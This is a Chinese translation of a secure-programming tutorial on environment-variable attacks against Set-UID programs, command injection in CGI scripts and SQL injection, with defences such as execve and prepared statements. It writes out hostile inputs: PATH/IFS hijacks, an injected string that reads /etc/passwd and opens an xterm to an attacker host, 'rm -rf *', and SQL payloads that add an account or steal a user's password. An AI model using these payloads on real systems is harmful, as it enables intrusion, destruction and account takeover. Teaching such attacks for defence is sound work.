本文共 6128 字,大约阅读时间需要 20 分钟。
原文:
译者:
环境变量是隐藏的输入。它们存在并影响程序行为。在编程中忽略它们的存在可能导致安全隐患。
PATH
下面会发生什么呢?
system("mail");
攻击者可以将 PATH 修改成下面,并使当前目录下的mail
执行。
PATH=".:$PATH"; export PATH
IFS
IFS 变量决定了哪个字符解释为空白字符。它代表了内部字符安分隔符。假设我们将其设置为包含斜杠字符:
IFS="/ \t\n"; export IFSPATH=".:$PATH"; export PATH
现在从 Bourne shell(例如system
或者popen
系统调用)中,调用任何使用绝对 PATH 的程序。现在这会解释成下面的东西,尝试在用户的当前目录中执行叫做bin
命令。
system("/bin/mail root"); ---> system(" bin mail root");
IFS 的 Bug 现在在 Shell 中漂亮地禁用了。
LD_LIBRARY_PATH
libc.so
,以及每个 Windows 程序都依赖于 DLL。如果这些库变成了木马,许多事情就会发生错误。攻击者可以改变这个路径,并使程序加载攻击者的库。
setenv LD_LIBRARY_PATH /tmp:$LD_LIBRARY_PATH
或者用户当前目录
setenv LD_LIBRARY_PATH .:$LD_LIBRARY_PATH
多数现代的 C 运行时库都修复了这个问题,通过当 EUID 不等于 UID,或者 EGID 不等于 GID 时,忽略LD_LIBRARY_PATH
变量。
LD_PRELOAD
LD_PRELOAD
。这允许你做一些有趣的事情,比如将 C 标准库的函数或者甚至系统调用的 C 接口换成你自己的函数。如果程序是 Set-UID 程序,现代的系统会忽略LD_PRELOAD
。
% cc -o malloc_interposer.so -G -Kpic malloc_interposer.c % setenv LD_PRELOAD $cwd/malloc_interposer.so
如何去掉环境变量?
extern char **environ; int main(int argc, char **argv) { environ = 0; }
LD_LIBRARY_PATH
。vi
漏洞
行为:
(1) vi file
(2) 保持打开但不保存
(3) vi
调用了expreserve
,它在保护区域保存缓冲区
(4) expreserve
调用mail
来向用户发送邮件
expreserve
是个 Set-UID 程序,mail
使用 Root 权限调用。expreserve
使用了system("mail user")
或者system("/bin/mail user")
。expreserve
没有注意环境变量。攻击:
修改了 PATH 和 IFS
IFS="/binal\t\n"
使m
被调用,而不是/bin/mail
。
umask
值
考虑这个场景:
一个 Set-UID 程序在/tmp/tempfile
保存临时数据。这个文件的完整性十分重要。如果程序员假设 umask 值为 077,假设可能不成立。攻击者可以从自己的 Shell 中运行这个程序,Set-UID 会从 Shell 继承这个 umask 值。
如何防护它:显式设置 umask 值(使用umask(077)
),或者显式设置新创建文件的权限(使用chmod("newfile",0755)
。
内存转储
如何禁用内和转储?
#include#include #include int main(int argc, char **argv) { struct rlimit rlim; getrlimit(RLIMIT_CORE, &rlim); rlim.rlim_max = rlim.rlim_cur = 0; if (setrlimit(RLIMIT_CORE, &rlim)) { exit(-1); } ... return 0;}
Solaris 默认(Solaris 8 开始)不允许 Set-UID 程序由于明显的安全原因的内核转储。
安全地调用其它程序
如果 CGI 脚本这样做,会有什么潜在的问题?
// $Recipient contains email address provided by the user // using web forms. system("/bin/mail", $Recipient);
$Recipient
可能包含 Shell 的特殊字符(| & < >
)(命令注入)。
"attacker@hotmail.com < /etc/passwd; export DISPLAY=proxy.attacker.org:0; /usr/X11R6/bin/xterm&;"
如果 CGI 脚本这样做,会有什么潜在的问题?
system("cat", "/var/stats/$username");
攻击者可以将用户名提交为../../etc/passwd
(命令注入、路径遍历)。
如果 CGI 脚本这样做,会有什么潜在的问题?
sprintf(buf,"telnet %s",url); system(buf);
如果 URL 是这种形式,也会做出回应(命令注入、栈溢出)。
host.example.com; rm -rf *
exec
函数、system
和popen
execlp
和execvp
使用 Shell 来启动程序。它们使程序的执行依赖当前用户的 Shell 配置。也就是依赖于 PATH 和其它环境变量的值。execv
更安全,因为它并没有向代码引入这种依赖。system(string)
调用将字符串传递给 Shell 来作为子进程执行(也就是作为单独派生的进程)。它是 Exec 函数的便利前端。popen
的标准实现与之相似。这个函数打开到新进程的管道,以便执行命令,并且读取任何输出作为文件流。这个函数也会启动 Shell,来解释命令行字符串。system
,而是使用execve
,它不调用 Shell,与system
不同。execlp(file, ...)
和execvp(file, ...)
,它们的语义与 Shell 类似。它们使用文件内存作为 Shell 的标准输入,如果文件不是有效的可执行目标文件。open
函数能够执行命令,并且通常通过 Shell 来实现。示例来源于 Steve Fried 的 Unixwiz.net Tech Tips: SQL Injection Attacks by Example。
一些应用从 Web 表单获取用户输入,之后使用用户输入直接构造 SQL 语句。例如,下面的 SQL 查询使用$EMAIL
的值构造,它直接由用户表单提交:
SELECT email, passwd, login_id, full_name FROM table WHERE email = '$EMAIL';
上面的应用当用户忘记密码时经常使用。它们只需要键入它们的邮件地址。如果邮件地址在数据库中(用户已注册),该邮件的密码会发到该邮件地址。这个例子中,SQL 注入攻击的目标是能够登入系统,而不需要是它的用户。
猜测字段名称:第一步就是猜测数据库的一些字段名称
email
:如果我们得到了服务器错误,就意味着我们的 SQL 格式错误,并且抛出了语法错误。最可能是由于错误的字段名称。如果我们得到了任何种类的有效回应,我们就正确猜测了名称。这里我们得到了email unknown
或者password was sent
回复。
SELECT fieldlist FROM table WHERE field = 'x' AND email IS NULL; --';
猜测表名称
与之相似,如果消息是email unknown
或者password was sent
,我们就知道我们的猜测是否正确。
SELECT email, passwd, login_id, full_name FROM table WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';
但是,上面只确认了tabname
是否是有效名称,不一定是我们使用的名称,下面的语句有所帮助:
SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' AND members.email IS NULL; --';
猜测用户的邮件地址:$EMAIL = x' OR full_name LIKE '%Bob%
如果 SQL 语句执行成功,通常你会看到这样的消息:We sent your password to <…>
,其中<…>
是邮件地址,它的fill_name
与%Bob%
匹配(%
是通配符)。
SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' OR full_name LIKE '%Bob%';
爆破密码(在我们了解有效邮件地址之后)
SELECT email, passwd, login_id, full_name FROM members WHERE email = 'bob@example.com' AND passwd = 'hello123';
如果数据库不是只读的,我们可以尝试下面的东西来添加新用户:
--
(注意空格,或者使用#
)是 SQL 注释的开始。这是个有效的方式来去掉最后由应用提供的单引号,并且不会担心它们的匹配。members
表的INSERT
权限。member
可能不仅仅需要members
表的一行记录,也需要其它表的关联信息(例如accessrights
),所以只向一个表添加可能不足够。SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; INSERT INTO members ('email','passwd','login_id','full_name') VALUES ('xyz@hacker.net','hello','xyz','xyz Hacker');--';
修改现有用户的邮件地址
I lost my password
链接,键入更新后的邮件地址,并在邮件中收到 Bob 的密码。SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; UPDATE members SET email = 'xyz@hacker.net' WHERE email = 'bob@example.com';
如何防止 SQL 攻击?
something is wrong
。// Insecure version Statement s = connection.createStatement(); ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = " + formField); // Secure version PreparedStatement ps = connection.prepareStatement( "SELECT email FROM member WHERE name = ?"); ps.setString(1, formField); ResultSet rs = ps.executeQuery();
转载地址:http://lhuya.baihongyu.com/